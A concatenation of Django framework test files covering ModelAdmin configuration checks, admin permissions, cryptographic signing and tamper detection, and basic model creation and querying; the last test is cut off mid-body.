            ordering = ('?', 'name')

        self.assertIsInvalid(
            ValidationTestModelAdmin, ValidationTestModel,
            "The value of 'ordering' has the random ordering marker '?', but contains "
            "other fields as well.",
            'admin.E032',
            hint='Either remove the "?", or remove the other fields.'
        )

    def test_valid_random_marker_case(self):
        class ValidationTestModelAdmin(ModelAdmin):
            ordering = ('?',)

        self.assertIsValid(ValidationTestModelAdmin, ValidationTestModel)

    def test_valid_complex_case(self):
        class ValidationTestModelAdmin(ModelAdmin):
            ordering = ('band__name',)

        self.assertIsValid(ValidationTestModelAdmin, ValidationTestModel)

    def test_valid_case(self):
        class ValidationTestModelAdmin(ModelAdmin):
            ordering = ('name',)

        self.assertIsValid(ValidationTestModelAdmin, ValidationTestModel)


class ListSelectRelatedCheckTests(CheckTestCase):

    def test_invalid_type(self):
        class ValidationTestModelAdmin(ModelAdmin):
            list_select_related = 1

        self.assertIsInvalid(
            ValidationTestModelAdmin, ValidationTestModel,
            "The value of 'list_select_related' must be a boolean, tuple or list.",
            'admin.E117')

    def test_valid_case(self):
        class ValidationTestModelAdmin(ModelAdmin):
            list_select_related = False

        self.assertIsValid(ValidationTestModelAdmin, ValidationTestModel)


class SaveAsCheckTests(CheckTestCase):

    def test_not_boolean(self):
        class ValidationTestModelAdmin(ModelAdmin):
            save_as = 1

        self.assertIsInvalid(
            ValidationTestModelAdmin, ValidationTestModel,
            "The value of 'save_as' must be a boolean.",
            'admin.E101')

    def test_valid_case(self):
        class ValidationTestModelAdmin(ModelAdmin):
            save_as = True

        self.assertIsValid(ValidationTestModelAdmin, ValidationTestModel)


class SaveOnTopCheckTests(CheckTestCase):

    def test_not_boolean(self):
        class ValidationTestModelAdmin(ModelAdmin):
            save_on_top = 1

        self.assertIsInvalid(
            ValidationTestModelAdmin, ValidationTestModel,
            "The value of 'save_on_top' must be a boolean.",
            'admin.E102')

    def test_valid_case(self):
        class ValidationTestModelAdmin(ModelAdmin):
            save_on_top = True

        self.assertIsValid(ValidationTestModelAdmin, ValidationTestModel)


class InlinesCheckTests(CheckTestCase):

    def test_not_iterable(self):
        class ValidationTestModelAdmin(ModelAdmin):
            inlines = 10

        self.assertIsInvalid(
            ValidationTestModelAdmin, ValidationTestModel,
            "The value of 'inlines' must be a list or tuple.",
            'admin.E103')

    def test_not_model_admin(self):
        class ValidationTestInline(object):
            pass

        class ValidationTestModelAdmin(ModelAdmin):
            inlines = [ValidationTestInline]

        self.assertIsInvalidRegexp(
            ValidationTestModelAdmin, ValidationTestModel,
            r"'.*\.ValidationTestInline' must inherit from 'BaseModelAdmin'\.",
            'admin.E104')

    def test_missing_model_field(self):
        class ValidationTestInline(TabularInline):
            pass

        class ValidationTestModelAdmin(ModelAdmin):
            inlines = [ValidationTestInline]

        self.assertIsInvalidRegexp(
            ValidationTestModelAdmin, ValidationTestModel,
            r"'.*\.ValidationTestInline' must have a 'model' attribute\.",
            'admin.E105')

    def test_invalid_model_type(self):
        """ Test if `model` attribute on inline model admin is a models.Model.
        """

        class SomethingBad(object):
            pass

        class ValidationTestInline(TabularInline):
            model = SomethingBad

        class ValidationTestModelAdmin(ModelAdmin):
            inlines = [ValidationTestInline]

        self.assertIsInvalidRegexp(
            ValidationTestModelAdmin, ValidationTestModel,
            r"The value of '.*\.ValidationTestInline.model' must be a Model\.",
            'admin.E106')

    def test_valid_case(self):
        class ValidationTestInline(TabularInline):
            model = ValidationTestInlineModel

        class ValidationTestModelAdmin(ModelAdmin):
            inlines = [ValidationTestInline]

        self.assertIsValid(ValidationTestModelAdmin, ValidationTestModel)


class FkNameCheckTests(CheckTestCase):

    def test_missing_field(self):
        class ValidationTestInline(TabularInline):
            model = ValidationTestInlineModel
            fk_name = 'non_existent_field'

        class ValidationTestModelAdmin(ModelAdmin):
            inlines = [ValidationTestInline]

        self.assertIsInvalid(
            ValidationTestModelAdmin, ValidationTestModel,
            "'modeladmin.ValidationTestInlineModel' has no field named 'non_existent_field'.",
            'admin.E202',
            invalid_obj=ValidationTestInline)

    def test_valid_case(self):
        class ValidationTestInline(TabularInline):
            model = ValidationTestInlineModel
            fk_name = "parent"

        class ValidationTestModelAdmin(ModelAdmin):
            inlines = [ValidationTestInline]

        self.assertIsValid(ValidationTestModelAdmin, ValidationTestModel)


class ExtraCheckTests(CheckTestCase):

    def test_not_integer(self):
        class ValidationTestInline(TabularInline):
            model = ValidationTestInlineModel
            extra = "hello"

        class ValidationTestModelAdmin(ModelAdmin):
            inlines = [ValidationTestInline]

        self.assertIsInvalid(
            ValidationTestModelAdmin, ValidationTestModel,
            "The value of 'extra' must be an integer.",
            'admin.E203',
            invalid_obj=ValidationTestInline)

    def test_valid_case(self):
        class ValidationTestInline(TabularInline):
            model = ValidationTestInlineModel
            extra = 2

        class ValidationTestModelAdmin(ModelAdmin):
            inlines = [ValidationTestInline]

        self.assertIsValid(ValidationTestModelAdmin, ValidationTestModel)


class MaxNumCheckTests(CheckTestCase):

    def test_not_integer(self):
        class ValidationTestInline(TabularInline):
            model = ValidationTestInlineModel
            max_num = "hello"

        class ValidationTestModelAdmin(ModelAdmin):
            inlines = [ValidationTestInline]

        self.assertIsInvalid(
            ValidationTestModelAdmin, ValidationTestModel,
            "The value of 'max_num' must be an integer.",
            'admin.E204',
            invalid_obj=ValidationTestInline)

    def test_valid_case(self):
        class ValidationTestInline(TabularInline):
            model = ValidationTestInlineModel
            max_num = 2

        class ValidationTestModelAdmin(ModelAdmin):
            inlines = [ValidationTestInline]

        self.assertIsValid(ValidationTestModelAdmin, ValidationTestModel)


class MinNumCheckTests(CheckTestCase):

    def test_not_integer(self):
        class ValidationTestInline(TabularInline):
            model = ValidationTestInlineModel
            min_num = "hello"

        class ValidationTestModelAdmin(ModelAdmin):
            inlines = [ValidationTestInline]

        self.assertIsInvalid(
            ValidationTestModelAdmin, ValidationTestModel,
            "The value of 'min_num' must be an integer.",
            'admin.E205',
            invalid_obj=ValidationTestInline)

    def test_valid_case(self):
        class ValidationTestInline(TabularInline):
            model = ValidationTestInlineModel
            min_num = 2

        class ValidationTestModelAdmin(ModelAdmin):
            inlines = [ValidationTestInline]

        self.assertIsValid(ValidationTestModelAdmin, ValidationTestModel)


class FormsetCheckTests(CheckTestCase):

    def test_invalid_type(self):
        class FakeFormSet(object):
            pass

        class ValidationTestInline(TabularInline):
            model = ValidationTestInlineModel
            formset = FakeFormSet

        class ValidationTestModelAdmin(ModelAdmin):
            inlines = [ValidationTestInline]

        self.assertIsInvalid(
            ValidationTestModelAdmin, ValidationTestModel,
            "The value of 'formset' must inherit from 'BaseModelFormSet'.",
            'admin.E206',
            invalid_obj=ValidationTestInline)

    def test_valid_case(self):
        class RealModelFormSet(BaseModelFormSet):
            pass

        class ValidationTestInline(TabularInline):
            model = ValidationTestInlineModel
            formset = RealModelFormSet

        class ValidationTestModelAdmin(ModelAdmin):
            inlines = [ValidationTestInline]

        self.assertIsValid(ValidationTestModelAdmin, ValidationTestModel)


class ListDisplayEditableTests(CheckTestCase):
    def test_list_display_links_is_none(self):
        """
        list_display and list_editable can contain the same values
        when list_display_links is None
        """
        class ProductAdmin(ModelAdmin):
            list_display = ['name', 'slug', 'pub_date']
            list_editable = list_display
            list_display_links = None
        self.assertIsValid(ProductAdmin, ValidationTestModel)

    def test_list_display_first_item_same_as_list_editable_first_item(self):
        """
        The first item in list_display can be the same as the first in
        list_editable.
        """
        class ProductAdmin(ModelAdmin):
            list_display = ['name', 'slug', 'pub_date']
            list_editable = ['name', 'slug']
            list_display_links = ['pub_date']
        self.assertIsValid(ProductAdmin, ValidationTestModel)

    def test_list_display_first_item_in_list_editable(self):
        """
        The first item in list_display can be in list_editable as long as
        list_display_links is defined.
        """
        class ProductAdmin(ModelAdmin):
            list_display = ['name', 'slug', 'pub_date']
            list_editable = ['slug', 'name']
            list_display_links = ['pub_date']
        self.assertIsValid(ProductAdmin, ValidationTestModel)

    def test_list_display_first_item_same_as_list_editable_no_list_display_links(self):
        """
        The first item in list_display cannot be the same as the first item
        in list_editable if list_display_links is not defined.
        """
        class ProductAdmin(ModelAdmin):
            list_display = ['name']
            list_editable = ['name']
        self.assertIsInvalid(
            ProductAdmin, ValidationTestModel,
            "The value of 'list_editable[0]' refers to the first field "
            "in 'list_display' ('name'), which cannot be used unless "
            "'list_display_links' is set.",
            id='admin.E124',
        )

    def test_list_display_first_item_in_list_editable_no_list_display_links(self):
        """
        The first item in list_display cannot be in list_editable if
        list_display_links isn't defined.
        """
        class ProductAdmin(ModelAdmin):
            list_display = ['name', 'slug', 'pub_date']
            list_editable = ['slug', 'name']
        self.assertIsInvalid(
            ProductAdmin, ValidationTestModel,
            "The value of 'list_editable[1]' refers to the first field "
            "in 'list_display' ('name'), which cannot be used unless "
            "'list_display_links' is set.",
            id='admin.E124',
        )


class ModelAdminPermissionTests(SimpleTestCase):

    class MockUser(object):
        def has_module_perms(self, app_label):
            if app_label == "modeladmin":
                return True
            return False

    class MockAddUser(MockUser):
        def has_perm(self, perm):
            if perm == "modeladmin.add_band":
                return True
            return False

    class MockChangeUser(MockUser):
        def has_perm(self, perm):
            if perm == "modeladmin.change_band":
                return True
            return False

    class MockDeleteUser(MockUser):
        def has_perm(self, perm):
            if perm == "modeladmin.delete_band":
                return True
            return False

    def test_has_add_permission(self):
        """
        Ensure that has_add_permission returns True for users who can add
        objects and False for users who can't.
        """
        ma = ModelAdmin(Band, AdminSite())
        request = MockRequest()
        request.user = self.MockAddUser()
        self.assertTrue(ma.has_add_permission(request))
        request.user = self.MockChangeUser()
        self.assertFalse(ma.has_add_permission(request))
        request.user = self.MockDeleteUser()
        self.assertFalse(ma.has_add_permission(request))

    def test_has_change_permission(self):
        """
        Ensure that has_change_permission returns True for users who can edit
        objects and False for users who can't.
        """
        ma = ModelAdmin(Band, AdminSite())
        request = MockRequest()
        request.user = self.MockAddUser()
        self.assertFalse(ma.has_change_permission(request))
        request.user = self.MockChangeUser()
        self.assertTrue(ma.has_change_permission(request))
        request.user = self.MockDeleteUser()
        self.assertFalse(ma.has_change_permission(request))

    def test_has_delete_permission(self):
        """
        Ensure that has_delete_permission returns True for users who can delete
        objects and False for users who can't.
        """
        ma = ModelAdmin(Band, AdminSite())
        request = MockRequest()
        request.user = self.MockAddUser()
        self.assertFalse(ma.has_delete_permission(request))
        request.user = self.MockChangeUser()
        self.assertFalse(ma.has_delete_permission(request))
        request.user = self.MockDeleteUser()
        self.assertTrue(ma.has_delete_permission(request))

    def test_has_module_permission(self):
        """
        Ensure that has_module_permission returns True for users who have any
        permission for the module and False for users who don't.
        """
        ma = ModelAdmin(Band, AdminSite())
        request = MockRequest()
        request.user = self.MockAddUser()
        self.assertTrue(ma.has_module_permission(request))
        request.user = self.MockChangeUser()
        self.assertTrue(ma.has_module_permission(request))
        request.user = self.MockDeleteUser()
        self.assertTrue(ma.has_module_permission(request))

        original_app_label = ma.opts.app_label
        ma.opts.app_label = 'anotherapp'
        try:
            request.user = self.MockAddUser()
            self.assertFalse(ma.has_module_permission(request))
            request.user = self.MockChangeUser()
            self.assertFalse(ma.has_module_permission(request))
            request.user = self.MockDeleteUser()
            self.assertFalse(ma.has_module_permission(request))
        finally:
            ma.opts.app_label = original_app_label












from __future__ import unicode_literals

import datetime

from django.core import signing
from django.test import SimpleTestCase
from django.test.utils import freeze_time
from django.utils import six
from django.utils.encoding import force_str


class TestSigner(SimpleTestCase):

    def test_signature(self):
        "signature() method should generate a signature"
        signer = signing.Signer('predictable-secret')
        signer2 = signing.Signer('predictable-secret2')
        for s in (
            b'hello',
            b'3098247:529:087:',
            '\u2019'.encode('utf-8'),
        ):
            self.assertEqual(
                signer.signature(s),
                signing.base64_hmac(signer.salt + 'signer', s, 'predictable-secret').decode()
            )
            self.assertNotEqual(signer.signature(s), signer2.signature(s))

    def test_signature_with_salt(self):
        "signature(value, salt=...) should work"
        signer = signing.Signer('predictable-secret', salt='extra-salt')
        self.assertEqual(
            signer.signature('hello'),
            signing.base64_hmac('extra-salt' + 'signer', 'hello', 'predictable-secret').decode()
        )
        self.assertNotEqual(
            signing.Signer('predictable-secret', salt='one').signature('hello'),
            signing.Signer('predictable-secret', salt='two').signature('hello'))

    def test_sign_unsign(self):
        "sign/unsign should be reversible"
        signer = signing.Signer('predictable-secret')
        examples = [
            'q;wjmbk;wkmb',
            '3098247529087',
            '3098247:529:087:',
            'jkw osanteuh ,rcuh nthu aou oauh ,ud du',
            '\u2019',
        ]
        if six.PY2:
            examples.append(b'a byte string')
        for example in examples:
            signed = signer.sign(example)
            self.assertIsInstance(signed, str)
            self.assertNotEqual(force_str(example), signed)
            self.assertEqual(example, signer.unsign(signed))

    def test_unsign_detects_tampering(self):
        "unsign should raise an exception if the value has been tampered with"
        signer = signing.Signer('predictable-secret')
        value = 'Another string'
        signed_value = signer.sign(value)
        transforms = (
            lambda s: s.upper(),
            lambda s: s + 'a',
            lambda s: 'a' + s[1:],
            lambda s: s.replace(':', ''),
        )
        self.assertEqual(value, signer.unsign(signed_value))
        for transform in transforms:
            with self.assertRaises(signing.BadSignature):
                signer.unsign(transform(signed_value))

    def test_dumps_loads(self):
        "dumps and loads be reversible for any JSON serializable object"
        objects = [
            ['a', 'list'],
            'a unicode string \u2019',
            {'a': 'dictionary'},
        ]
        if six.PY2:
            objects.append(b'a byte string')
        for o in objects:
            self.assertNotEqual(o, signing.dumps(o))
            self.assertEqual(o, signing.loads(signing.dumps(o)))
            self.assertNotEqual(o, signing.dumps(o, compress=True))
            self.assertEqual(o, signing.loads(signing.dumps(o, compress=True)))

    def test_decode_detects_tampering(self):
        "loads should raise exception for tampered objects"
        transforms = (
            lambda s: s.upper(),
            lambda s: s + 'a',
            lambda s: 'a' + s[1:],
            lambda s: s.replace(':', ''),
        )
        value = {
            'foo': 'bar',
            'baz': 1,
        }
        encoded = signing.dumps(value)
        self.assertEqual(value, signing.loads(encoded))
        for transform in transforms:
            with self.assertRaises(signing.BadSignature):
                signing.loads(transform(encoded))

    def test_works_with_non_ascii_keys(self):
        binary_key = b'\xe7'  # Set some binary (non-ASCII key)

        s = signing.Signer(binary_key)
        self.assertEqual('foo:6NB0fssLW5RQvZ3Y-MTerq2rX7w', s.sign('foo'))

    def test_valid_sep(self):
        separators = ['/', '*sep*', ',']
        for sep in separators:
            signer = signing.Signer('predictable-secret', sep=sep)
            self.assertEqual('foo%ssH9B01cZcJ9FoT_jEVkRkNULrl8' % sep, signer.sign('foo'))

    def test_invalid_sep(self):
        """should warn on invalid separator"""
        msg = 'Unsafe Signer separator: %r (cannot be empty or consist of only A-z0-9-_=)'
        separators = ['', '-', 'abc']
        for sep in separators:
            with self.assertRaisesMessage(ValueError, msg % sep):
                signing.Signer(sep=sep)


class TestTimestampSigner(SimpleTestCase):

    def test_timestamp_signer(self):
        value = 'hello'
        with freeze_time(123456789):
            signer = signing.TimestampSigner('predictable-key')
            ts = signer.sign(value)
            self.assertNotEqual(ts, signing.Signer('predictable-key').sign(value))
            self.assertEqual(signer.unsign(ts), value)

        with freeze_time(123456800):
            self.assertEqual(signer.unsign(ts, max_age=12), value)
            # max_age parameter can also accept a datetime.timedelta object
            self.assertEqual(signer.unsign(ts, max_age=datetime.timedelta(seconds=11)), value)
            with self.assertRaises(signing.SignatureExpired):
                signer.unsign(ts, max_age=10)






# -*- coding: utf-8 -*-
"""
Bare-bones model

This is a basic model with only two non-primary-key fields.
"""
from django.db import models
from django.utils.encoding import python_2_unicode_compatible


@python_2_unicode_compatible
class Article(models.Model):
    headline = models.CharField(max_length=100, default='Default headline')
    pub_date = models.DateTimeField()

    class Meta:
        ordering = ('pub_date', 'headline')

    def __str__(self):
        return self.headline


class ArticleSelectOnSave(Article):
    class Meta:
        proxy = True
        select_on_save = True


@python_2_unicode_compatible
class SelfRef(models.Model):
    selfref = models.ForeignKey(
        'self',
        models.SET_NULL,
        null=True, blank=True,
        related_name='+',
    )
    article = models.ForeignKey(Article, models.SET_NULL, null=True, blank=True)

    def __str__(self):
        # This method intentionally doesn't work for all cases - part
        # of the test for ticket #20278
        return SelfRef.objects.get(selfref=self).pk












from __future__ import unicode_literals

import threading
from datetime import datetime, timedelta

from django.core.exceptions import MultipleObjectsReturned, ObjectDoesNotExist
from django.db import DEFAULT_DB_ALIAS, DatabaseError, connections
from django.db.models.fields import Field
from django.db.models.manager import BaseManager
from django.db.models.query import EmptyQuerySet, QuerySet
from django.test import (
    SimpleTestCase, TestCase, TransactionTestCase, skipIfDBFeature,
    skipUnlessDBFeature,
)
from django.utils.translation import ugettext_lazy

from .models import Article, ArticleSelectOnSave, SelfRef


class ModelInstanceCreationTests(TestCase):

    def test_object_is_not_written_to_database_until_save_was_called(self):
        a = Article(
            id=None,
            headline='Parrot programs in Python',
            pub_date=datetime(2005, 7, 28),
        )
        self.assertIsNone(a.id)
        self.assertEqual(Article.objects.all().count(), 0)

        # Save it into the database. You have to call save() explicitly.
        a.save()
        self.assertIsNotNone(a.id)
        self.assertEqual(Article.objects.all().count(), 1)

    def test_can_initialize_model_instance_using_positional_arguments(self):
        """
        You can initialize a model instance using positional arguments,
        which should match the field order as defined in the model.
        """
        a = Article(None, 'Second article', datetime(2005, 7, 29))
        a.save()

        self.assertEqual(a.headline, 'Second article')
        self.assertEqual(a.pub_date, datetime(2005, 7, 29, 0, 0))

    def test_can_create_instance_using_kwargs(self):
        a = Article(
            id=None,
            headline='Third article',
            pub_date=datetime(2005, 7, 30),
        )
        a.save()
        self.assertEqual(a.headline, 'Third article')
        self.assertEqual(a.pub_date, datetime(2005, 7, 30, 0, 0))

    def test_autofields_generate_different_values_for_each_instance(self):
        a1 = Article.objects.create(headline='First', pub_date=datetime(2005, 7, 30, 0, 0))
        a2 = Article.objects.create(headline='First', pub_date=datetime(2005, 7, 30, 0, 0))
        a3 = Article.objects.create(headline='First', pub_date=datetime(2005, 7, 30, 0, 0))
        self.assertNotEqual(a3.id, a1.id)
        self.assertNotEqual(a3.id, a2.id)

    def test_can_mix_and_match_position_and_kwargs(self):
        # You can also mix and match position and keyword arguments, but
        # be sure not to duplicate field information.
        a = Article(None, 'Fourth article', pub_date=datetime(2005, 7, 31))
        a.save()
        self.assertEqual(a.headline, 'Fourth article')

    def test_cannot_create_instance_with_invalid_kwargs(self):
        with self.assertRaisesMessage(TypeError, "'foo' is an invalid keyword argument for this function"):
            Article(
                id=None,
                headline='Some headline',
                pub_date=datetime(2005, 7, 31),
                foo='bar',
            )

    def test_can_leave_off_value_for_autofield_and_it_gets_value_on_save(self):
        """
        You can leave off the value for an AutoField when creating an
        object, because it'll get filled in automatically when you save().
        """
        a = Article(headline='Article 5', pub_date=datetime(2005, 7, 31))
        a.save()
        self.assertEqual(a.headline, 'Article 5')
        self.assertIsNotNone(a.id)

    def test_leaving_off_a_field_with_default_set_the_default_will_be_saved(self):
        a = Article(pub_date=datetime(2005, 7, 31))
        a.save()
        self.assertEqual(a.headline, 'Default headline')

    def test_for_datetimefields_saves_as_much_precision_as_was_given(self):
        """as much precision in *seconds*"""
        a1 = Article(
            headline='Article 7',
            pub_date=datetime(2005, 7, 31, 12, 30),
        )
        a1.save()
        self.assertEqual(Article.objects.get(id__exact=a1.id).pub_date, datetime(2005, 7, 31, 12, 30))

        a2 = Article(
            headline='Article 8',
            pub_date=datetime(2005, 7, 31, 12, 30, 45),
        )
        a2.save()
        self.assertEqual(Article.objects.get(id__exact=a2.id).pub_date, datetime(2005, 7, 31, 12, 30, 45))

    def test_saving_an_object_again_does_not_create_a_new_object(self):
        a = Article(headline='original', pub_date=datetime(2014, 5, 16))
        a.save()
        current_id = a.id

        a.save()
        self.assertEqual(a.id, current_id)

        a.headline = 'Updated headline'
        a.save()
        self.assertEqual(a.id, current_id)

    def test_querysets_checking_for_membership(self):
        headlines = [
            'Parrot programs in Python', 'Second article', 'Third article']
        some_pub_date = datetime(2014, 5, 16, 12, 1)
        for headline in headlines:
            Article(headline=headline, pub_date=some_pub_date).save()
        a = Article(headline='Some headline', pub_date=some_pub_date)
        a.save()

        # You can use 'in' to test for membership...
        self.assertIn(a, Article.objects.all())
        # ... but there will often be more efficient ways if that is all you need:
        self.assertTrue(Article.objects.filter(id=a.id).exists())


class ModelTest(TestCase):
    def test_objects_attribute_is_only_available_on_the_class_itself(self):
        with self.assertRaisesMessage(AttributeError, "Manager isn't accessible via Article instances"):
            getattr(Article(), "objects",)
        self.assertFalse(hasattr(Article(), 'objects'))
        self.assertTrue(hasattr(Article, 'objects'))

    def test_queryset_delete_removes_all_items_in_that_queryset(self):
        headlines = [
            'An article', 'Article One', 'Amazing article', 'Boring article']
        some_pub_date = datetime(2014, 5, 16, 12, 1)
        for headline in headlines:
            Article(headline=headline, pub_date=some_pub_date).save()
        self.assertQuerysetEqual(
            Article.objects.all().order_by('headline'),
            ["<Article: Amazing article>",
             "<Article: An article>",
             "<Article: Article One>",
             "<Article: Boring article>"]
        )
        Article.objects.filter(headline__startswith='A').delete()
        self.assertQuerysetEqual(Article.objects.all().order_by('headline'), ["<Article: Boring article>"])

    def test_not_equal_and_equal_operators_behave_as_expected_on_instances(self):
        some_pub_date = datetime(2014, 5, 16, 12, 1)
        a1 = Article.objects.create(headline='First', pub_date=some_pub_date)
        a2 = Article.objects.create(headline='Second', pub_date=some_pub_date)
        self.assertNotEqual(a1, a2)
        self.assertEqual(a1, Article.objects.get(id__exact=a1.id))

        self.assertNotEqual(Article.objects.get(id__exact=a1.id), Article.objects.get(id__exact=a2.id))

    @skipUnlessDBFeature('supports_microsecond_precision')
    def test_microsecond_precision(self):
        # In PostgreSQL, microsecond-level precision is available.
        a9 = Article(
            headline='Article 9',
            pub_date=datetime(2005, 7, 31, 12, 30, 45, 180),
        )
        a9.save()
        self.assertEqual(Article.objects.get(pk=a9.pk).pub_date, datetime(2005, 7, 31, 12, 30, 45, 180))

    @skipIfDBFeature('supports_microsecond_precision')
    def test_microsecond_precision_not_supported(self):
        # In MySQL, microsecond-level precision isn't always available. You'll
        # lose microsecond-level precision once the data is saved.
        a9 = Article(
            headline='Article 9',
            pub_date=datetime(2005, 7, 31, 12, 30, 45, 180),
        )
        a9.save()
        self.assertEqual(
            Article.objects.get(id__exact=a9.id).pub_date,
            datetime(2005, 7, 31, 12, 30, 45),
        )

    @skipIfDBFeature('supports_microsecond_precision')
    def test_microsecond_precision_not_supported_edge_case(self):
        # In MySQL, microsecond-level precision isn't always available. You'll
        # lose microsecond-level precision once the data is saved.
        a = Article.objects.create(
            headline='Article',
            pub_date=datetime(2008, 12, 31, 23, 59, 59, 999999),
        )
        self.assertEqual(
            Article.objects.get(pk=a.pk).pub_date,
            datetime(2008, 12, 31, 23, 59, 59),
        )

    def test_manually_specify_primary_key(self):
        # You can manually specify the primary key when creating a new object.
        a101 = Article(
            id=101,
            headline='Article 101',
            pub_date=datetime(2005, 7, 31, 12, 30, 45),
        )
        a101.save()
        a101 = Article.objects.get(pk=101)
        self.assertEqual(a101.headline, 'Article 101')

    def test_create_method(self):
        # You can create saved objects in a single step
        a10 = Article.objects.create(
            headline="Article 10",
            pub_date=datetime(2005, 7, 31, 12, 30, 45),
        )
        self.assertEqual(Article.objects.get(headline="Article 10"), a10)

    def test_year_lookup_edge_case(self):
        # Edge-case test: A year lookup should retrieve all objects in
        # the given year, including Jan. 1 and Dec. 31.
        Article.objects.create(
            headline='Article 11',
            pub_date=datetime(2008, 1, 1),
        )
        Article.objects.create(
            headline='Article 12',
            pub_date=datetime(2008, 12, 31, 23, 59, 59, 999999),
        )
        self.assertQuerysetEqual(
            Article.objects.filter(pub_date__year=2008),
            ["<Article: Article 11>", "<Article: Article 12>"]
        )

    def test_unicode_data(self):
        # Unicode data works, too.
        a = Article(
            headline='\u6797\u539f \u3081\u3050\u307f',
            pub_date=datetime(2005, 7, 28),
        )
        a.save()
        self.assertEqual(Article.objects.get(pk=a.id).headline, '\u6797\u539f \u3081\u3050\u307f')

    def test_hash_function(self):
        # Model instances have a hash function, so they can be used in sets
        # or as dictionary keys. Two models compare as equal if their primary
        # keys are equal.
        a10 = Article.objects.create(
            headline="Article 10",
            pub_date=datetime(2005, 7, 31, 12, 30, 45),
        )
        a11 = Article.objects.create(
            headline='Article 11',
            pub_date=datetime(2008, 1, 1),
        )
        a12 = Article.objects.create(
            headline='Article 12',
            pub_date=datetime(2008, 12, 31, 23, 59, 59, 999999),
        )

        s = {a10, a11, a12}
        self.assertIn(Article.objects.get(headline='Article 11'), s)

    def test_field_ordering(self):
        """
        Field instances have a `__lt__` comparison function to define an
        ordering based on their creation. Prior to #17851 this ordering
        comparison relied on the now unsupported `__cmp__` and was assuming
        compared objects were both Field instances raising `AttributeError`
        when it should have returned `NotImplemented`.
        """
        f1 = Field()
        f2 = Field(auto_created=True)
        f3 = Field()
        self.assertLess(f2, f1)
        self.assertGreater(f3, f1)
        self.assertIsNotNone(f1)
        self.assertNotIn(f2, (None, 1, ''))

    def test_extra_method_select_argument_with_dashes_and_values(self):
        # The 'select' argument to extra() supports names with dashes in
        # them, as long as you use values().
        Article.objects.create(
            headline="Article 10",
            pub_date=datetime(2005, 7, 31, 12, 30, 45),
        )
        Article.objects.create(
            headline='Article 11',
            pub_date=datetime(2008, 1, 1),
        )
        Article.objects.create(
            headline='Article 12',
            pub_date=datetime(2008, 12, 31, 23, 59, 59, 999999),
        )

        dicts = Article.objects.filter(
            pub_date__year=2008).extra(
            select={'dashed-value': '1'}).values('headline', 'dashed-value')
        self.assertEqual(
            [sorted(d.items()) for d in dicts],
            [[('dashed-value', 1), ('headline', 'Article 11')], [('dashed-value', 1), ('headline', 'Article 12')]]
        )

    def test_extra_method_select_argument_with_dashes(self):
        # If you use 'select' with extra() and names containing dashes on a
        # query that's *not* a values() query, those extra 'select' values
        # will silently be ignored.
        Article.objects.create(
            headline="Article 10",
            pub_date=datetime(2005, 7, 31, 12, 30, 45),
        )
        Article.objects.create(
            headline='Article 11',
            pub_date=datetime(2008, 1, 1),
        )
        Article.objects.create(
            headline='Article 12',
            pub_date=datetime(2008, 12, 31, 23, 59, 59, 999999),
        )

        articles = Article.objects.filter(
            pub_date__year=2008).extra(select={'dashed-value': '1', 'undashedvalue': '2'})
        self.assertEqual(articles[0].undashedvalue, 2)

    def test_create_relation_with_ugettext_lazy(self):
        """
        Test that ugettext_lazy objects work when saving model instances
        through various methods. Refs #10498.
        """
        notlazy = 'test'
        lazy = ugettext_lazy(notlazy)
        Article.objects.create(headline=lazy, pub_date=datetime.now())
        article = Article.objects.get()
        self.assertEqual(article.headline, notlazy)
        # test that assign + save works with Promise objects
        article.headline = lazy
        article.save()
        self.assertEqual(article.headline, notlazy)
        # test .update()
        Article.objects.update(headline=lazy)
        article = Article.objects.get()
        self.assertEqual(article.headline, notlazy)
        # still test bulk_create()
        Article.objects.all().delete()
        Article.objects.bulk_create([Article(headline=lazy, pub_date=datetime.now())])
        article = Article.objects.get()
        self.assertEqual(article.headline, notlazy)

    def test_emptyqs(self):
        # Can't be instantiated
        with self.assertRaises(TypeError):
            EmptyQuerySet()
        self.assertIsInstance(Article.objects.none(), EmptyQuerySet)
        self.assertNotIsInstance('', EmptyQuerySet)

    def test_emptyqs_values(self):
        # test for #15959
        Article.objects.create(headline='foo', pub_date=datetime.now())
        with self.assertNumQueries(0):
            qs = Article.objects.none().values_list('pk')
            self.assertIsInstance(qs, EmptyQuerySet)
            self.assertEqual(len(qs), 0)

    def test_emptyqs_customqs(self):
        # A hacky test for custom QuerySet subclass - refs #17271
        Article.objects.create(headline='foo', pub_date=datetime.now())

        class CustomQuerySet(QuerySet):
            def do_something(self):
                return 'did something'

        qs = Article.objects.all()
        qs.__class__ = CustomQuerySet
        qs = qs.none()
        with self.assertNumQueries(0):
            self.assertEqual(len(qs), 0)
            self.assertIsInstance(qs, EmptyQuerySet)
            self.assertEqual(qs.do_something(), 'did something')

    def test_emptyqs_values_order(self):
        # Tests for ticket #17712
        Article.objects.create(headline='foo', pub_date=datetime.now())
        with self.assertNumQueries(0):
            self.assertEqual(len(Article.objects.none().values_list('id').order_by('id')), 0)
        with self.assertNumQueries(0):
            self.assertEqual(len(Article.objects.none().filter(
                id__in=Article.objects.values_list('id', flat=True))), 0)

    @skipUnlessDBFeature('can_distinct_on_fields')
    def test_emptyqs_distinct(self):
        # Tests for #19426
        Article.objects.create(headline='foo', pub_date=datetime.now())
        with self.assertNumQueries(0):
            self.assertEqual(len(Article.objects.none().distinct('headline', 'pub_date')), 0)

    def test_ticket_20278(self):
        sr = SelfRef.objects.create()
        with self.assertRaises(ObjectDoesNotExist):
            SelfRef.objects.get(selfref=sr)

    def test_eq(self):
        self.assertEqual(Article(id=1), Article(id=1))
        self.assertNotEqual(Article(id=1), object())
        self.assertNotEqual(object(), Article(id=1))
        a = Article()
        self.assertEqual(a, a)
        self.assertNotEqual(Article(), a)

    def test_hash(self):
        # Value based on PK
        self.assertEqual(hash(Article(id=1)), hash(1))
        with self.assertRaises(TypeError):
            # No PK value -> unhashable (because save() would then change
            # hash)
            hash(Article())

    def test_delete_and_access_field(self):
        # Accessing a field after it's deleted from a model reloads its value.
        pub_date = datetime.now()
        article = Article.objects.create(headline='foo', pub_date=pub_date)
        new_pub_date = article.pub_date + timedelta(days=10)
        article.headline = 'bar'
        article.pub_date = new_pub_date
        del article.headline
        with self.assertNumQueries(1):
            self.assertEqual(article.headline, 'foo')
        # Fields that weren't deleted aren't reloaded.
        self.assertEqual(article.pub_date, new_pub_date)


class ModelLookupTest(TestCase):
    def setUp(self):
        # Create an Article.
        self.a = Article(
            id=None,
            headline='Swallow programs in Python',
            pub_date=datetime(2005, 7, 28),
        )
        # Save it into the database. You have to call save() explicitly.
        self.a.save()

    def test_all_lookup(self):
        # Change values by changing the attributes, then calling save().
